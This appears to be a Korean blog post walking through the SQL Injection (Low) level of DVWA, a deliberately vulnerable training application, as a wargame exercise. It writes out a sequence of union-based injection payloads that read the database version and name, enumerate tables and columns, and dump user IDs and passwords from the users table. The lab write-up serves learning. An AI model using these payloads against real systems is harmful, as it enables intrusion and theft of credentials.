Sql Injection 이다.
문제를 보면 id를 입력하란다.
다른 입력은 안되고 숫자만된다.
1~5까지..
db내에서 id가 숫자로 저장해놓았나보다
소스를 보자
query를 보면 select first_name, last_name from user where user_id - '$id';"
를 이용해서 쿼리를 불러온다
그리고 db에 연결하고..
while문을 이용해서
mysql_result함수를 이용해서 result(질의결과)를 넣는당
그리고 echo로 출력한다.
역시나 필터가 없기에.... sql_injection을 했고.. 당연히 됐다.
그래서 뭔가 더 있을거같아서 union select 구문을 이용한 공격을 실행해봤다.
간단히 version을 확인하기위해
' union select @@version, 1#을 해봤당
사스가
먹혔당.
그다음에 현재 사용중인 db명을 확인하기위해
' union select null, database()#
을했당.
됐당
union select의 컬럼에 null을 넣은 이유는 컬럼수가 일치하지 않을경우 에러가 발생해서 강제로 일치시키기 위해 했다.
그리고 database()함수실행...
그리고 table의 이름을 읽기위해
' union select null, table_name from information_schema.tables#
을 실행하면
데이터베이스 의 table 컬럼이 다 뜬다 그중에 제일 눈길이 가는곳은
역시나...
users table의 컬럼을 읽기위해서
' union select null, comcat(table_name, 0x0a, column_name) from information_schema.columns where table_name='users'#
해준당
원하는정보는 다 얻었다.
이제 최종적으로 결과를 뽑으면
' union select users.user_id, users.password from users#
끝.
참고
https://blog.lael.be/post/55
http://m.blog.naver.com/koromoon/120172851234
'wargame > WDVWA' 카테고리의 다른 글
Reflected_XSS(Low) (0) | 2016.06.04 |
---|---|
Blind SQL Injection(Low) (0) | 2016.06.04 |
CSRF(low) (0) | 2016.06.03 |
File Upload(medium) (0) | 2016.05.30 |
File Upload(low) (0) | 2016.05.30 |